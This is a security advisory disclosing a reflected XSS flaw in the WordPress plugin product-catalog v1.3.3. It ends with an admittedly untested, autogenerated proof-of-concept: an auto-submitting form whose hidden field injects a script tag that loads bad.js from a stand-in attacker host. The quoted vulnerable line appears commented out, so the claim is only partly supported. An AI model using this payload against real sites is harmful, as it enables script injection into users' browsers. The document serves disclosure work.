Advisory #: 1347
Title: Reflected XSS in wordpress plugin product-catalog v1.3.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/product-catalog
Downloads: 36238
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: product-catalog
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./product-catalog/admin/catalog_lightbox_func.php: 46:// echo $_POST['params']; The variable params appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./product-catalog/admin/catalog_lightbox_func.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/product-catalog/admin/catalog_lightbox_func.php method=post> <input type=hidden name=params value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>